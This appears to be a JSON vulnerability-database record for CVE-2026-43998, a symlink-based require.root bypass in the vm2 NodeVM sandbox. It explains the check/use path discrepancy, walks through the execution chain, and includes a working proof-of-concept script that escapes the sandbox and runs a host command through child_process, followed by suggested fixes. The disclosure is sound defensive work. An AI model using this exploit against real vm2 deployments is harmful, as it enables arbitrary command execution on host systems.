{"id":"CVE-2026-43998","aliases":["GHSA-cp6g-6699-wx9c"],"url":"https://o3.security/vulnerability/CVE-2026-43998","summary":"vm2: NodeVM require.root bypass via symlink traversal allows sandbox escape","details":"## Summary\nNodeVM's `require.root` path restriction can be bypassed using filesystem symlinks, allowing sandboxed code to load modules from outside the allowed root directory in host context. Because path validation uses `path.resolve()` (which does not dereference symlinks) but module loading uses Node's native `require()` (which does), an attacker can load arbitrary host-realm modules and achieve remote code execution.\n\n## Severity\n**High** (CVSS 3.1: 8.5)\n\n`CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n- **Attack Vector:** Network — sandboxed code is typically received from external sources (user-submitted scripts, plugin code)\n- **Attack Complexity:** High — requires symlinks inside the allowed root that point outside it; common with pnpm, npm workspaces, and npm link but not guaranteed in all deployments\n- **Privileges Required:** Low — attacker needs only the ability to submit code to the sandbox, which is the intended use case\n- **User Interaction:** None\n- **Scope:** Changed — the vulnerability is in the sandbox boundary; impact is on the host system\n- **Confidentiality Impact:** High — arbitrary file read via host command execution\n- **Integrity Impact:** High — arbitrary command execution on the host\n- **Availability Impact:** High — arbitrary command execution on the host\n\n## Affected Component\n- `lib/resolver-compat.js` — `CustomResolver.isPathAllowed()` (line 53-60)\n- `lib/resolver-compat.js` — `CustomResolver.loadJS()` (line 62-66)\n- `lib/filesystem.js` — `DefaultFileSystem.resolve()` (line 8-10)\n\n## CWE\n- **CWE-59**: Improper Link Resolution Before File Access\n\n## Description\n\n### Root Cause: Check/Use Path Discrepancy\n\nThe `isPathAllowed` method validates whether a resolved filename falls within the allowed root paths using a string-prefix check:\n\n```js\n// lib/resolver-compat.js:53-60\nisPathAllowed(filename) {\n    return this.rootPaths === undefined || this.rootPaths.some(path => {\n        if (!filename.startsWith(path)) return false;\n        const len = path.length;\n        if (filename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(filename[len]);\n    });\n}\n```\n\nThe filename passed to this check is resolved via `DefaultFileSystem.resolve()`, which uses `path.resolve()`:\n\n```js\n// lib/filesystem.js:8-10\nresolve(path) {\n    return pa.resolve(path);\n}\n```\n\n`path.resolve()` normalizes the path (resolves `.`, `..`, and makes it absolute) but does **NOT** dereference symlinks. A symlink at `/root/node_modules/safe` pointing to `/outside/root/malicious` resolves to `/root/node_modules/safe` — passing the prefix check.\n\nHowever, the actual module loading uses Node's native `require()`, which **does** follow symlinks:\n\n```js\n// lib/resolver-compat.js:62-66\nloadJS(vm, mod, filename) {\n    if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);\n    const m = this.hostRequire(filename);\n    mod.exports = vm.readonly(m);\n}\n```\n\n### No Symlink Defenses Exist\n\nA search for `realpath`, `readlink`, `lstat`, or any symlink-aware function across the entire `lib/` directory returns zero results. Neither `DefaultFileSystem` nor `VMFileSystem` provides a realpath method. The root paths themselves are also resolved without dereferencing symlinks:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => fsOpt.resolve(f)) : undefined;\n```\n\n### Full Execution Chain\n\n1. Host creates `NodeVM` with `require: { external: ['safe'], root: '/tmp/root', context: 'host' }`\n2. A symlink exists: `/tmp/root/node_modules/safe` → `/outside/root/vm2/` (e.g., via pnpm, npm link, or workspaces)\n3. Sandbox code calls `require('safe')`\n4. `DefaultResolver.resolveFull()` resolves to `/tmp/root/node_modules/safe/index.js`\n5. `tryFile()` calls `this.fs.resolve(x)` → `path.resolve()` → `/tmp/root/node_modules/safe/index.js` (symlink NOT followed)\n6. `isPathAllowed()` checks if path starts with `/tmp/root/` → **PASSES**\n7. `loadJS()` detects `context: 'host'`, calls `this.hostRequire(filename)`\n8. Node's `require()` follows the symlink, loads from `/outside/root/vm2/index.js`\n9. Module executes in host realm; exports proxied to sandbox\n10. Sandbox uses loaded module to escalate (e.g., creates a new privileged NodeVM with `child_process`)\n\n## Proof of Concept\n\n```js\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\nconst { NodeVM } = require('vm2');\n\n// Create an \"allowed\" root directory\nconst root = fs.mkdtempSync(path.join(os.tmpdir(), 'vm2-root-'));\nfs.mkdirSync(path.join(root, 'node_modules'), { recursive: true });\n\n// Symlink inside root pointing to vm2 package outside root\n// In real deployments: pnpm, npm link, workspaces create these automatically\nconst link = path.join(root, 'node_modules', 'safe');\nfs.symlinkSync(path.resolve(__dirname), link, 'dir');\n\nconst vm = new NodeVM({\n  require: {\n    external: ['safe'],\n    root,\n    context: 'host',\n    builtin: [],       // no builtins allowed\n  },\n});\n\n// Sandbox code loads vm2 from outside root via symlink,\n// creates a privileged inner NodeVM to get child_process\nconst out = vm.run(`\n  const { NodeVM } = require('safe');\n  const inner = new NodeVM({ require: { builtin: ['child_process'] } });\n  module.exports = inner.run(\n    \"module.exports = require('child_process').execSync('id').toString()\",\n    'inner.js'\n  );\n`, path.join(root, 'vm.js'));\n\nconsole.log(out.trim()); // prints host uid/gid — RCE achieved\n```\n\n## Impact\n- **Sandbox escape**: Untrusted sandboxed code can load arbitrary modules from outside the allowed root directory in host context.\n- **Remote code execution**: By loading vm2 itself (or any module with dangerous capabilities), the attacker can execute arbitrary commands on the host system.\n- **Bypasses `require.root` entirely**: The root restriction — the primary defense against module loading attacks — provides no protection when symlinks are present.\n- **Common in production**: pnpm (where ALL `node_modules` are symlinks), npm workspaces, and `npm link` all create the symlink conditions required for exploitation.\n- **Silent failure**: No error or warning is raised when a symlink traverses outside the root.\n\n## Recommended Remediation\n\n### Option 1: Dereference symlinks with `fs.realpathSync` before path validation (Preferred)\n\nResolve symlinks before checking against root paths, so the validation operates on the actual filesystem location:\n\n```js\n// lib/filesystem.js — add a realpath method\nconst fs = require('fs');\n\nclass DefaultFileSystem {\n    resolve(path) {\n        return pa.resolve(path);\n    }\n\n    realpath(path) {\n        return fs.realpathSync(path);\n    }\n    // ... rest unchanged\n}\n```\n\n```js\n// lib/resolver-compat.js — use realpath in isPathAllowed or before calling it\nisPathAllowed(filename) {\n    let realFilename;\n    try {\n        realFilename = this.fs.realpath(filename);\n    } catch (e) {\n        return false; // file doesn't exist or can't be resolved\n    }\n    return this.rootPaths === undefined || this.rootPaths.some(path => {\n        if (!realFilename.startsWith(path)) return false;\n        const len = path.length;\n        if (realFilename.length === len || (len > 0 && this.fs.isSeparator(path[len-1]))) return true;\n        return this.fs.isSeparator(realFilename[len]);\n    });\n}\n```\n\nAlso dereference root paths at construction time:\n\n```js\n// lib/resolver-compat.js:218\nconst checkedRootPaths = rootPaths ? (Array.isArray(rootPaths) ? rootPaths : [rootPaths]).map(f => {\n    const resolved = fsOpt.resolve(f);\n    try { return fs.realpathSync(resolved); } catch (e) { return resolved; }\n}) : undefined;\n```\n\n**Tradeoff**: `realpathSync` adds a syscall per path check. Cache results to minimize overhead.\n\n### Option 2: Validate the realpath in `makeExtensionHandler` / `checkAccess`\n\nAdd a realpath check at the enforcement point in `Resolver.makeExtensionHandler`:\n\n```js\nmakeExtensionHandler(vm, name) {\n    return (mod, filename) => {\n        filename = this.fs.resolve(filename);\n        // Dereference symlinks before access check\n        try {\n            const realFilename = fs.realpathSync(filename);\n            if (realFilename !== filename) {\n                // Filename was a symlink — validate the real path too\n                this.checkAccess(mod, realFilename);\n            }\n        } catch (e) {\n            throw new VMError(`Access denied to require '${filename}'`, 'EDENIED');\n        }\n        this.checkAccess(mod, filename);\n        this[name](vm, mod, filename);\n    };\n}\n```\n\n**Tradeoff**: Fixes it at a higher layer but doesn't protect custom resolvers that bypass `makeExtensionHandler`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).","published":"2026-05-13T17:19:44.406Z","modified":"2026-09-09T03:30:32.081757823Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00722,"percentile":0.51645,"asOf":"2026-09-06"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.11.0"}],"fix":null,"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-43998.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:50850"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-43998"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/43xxx/CVE-2026-43998.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-cp6g-6699-wx9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43998"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2477206"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"},{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-09T03:30:32.081757823Z"}}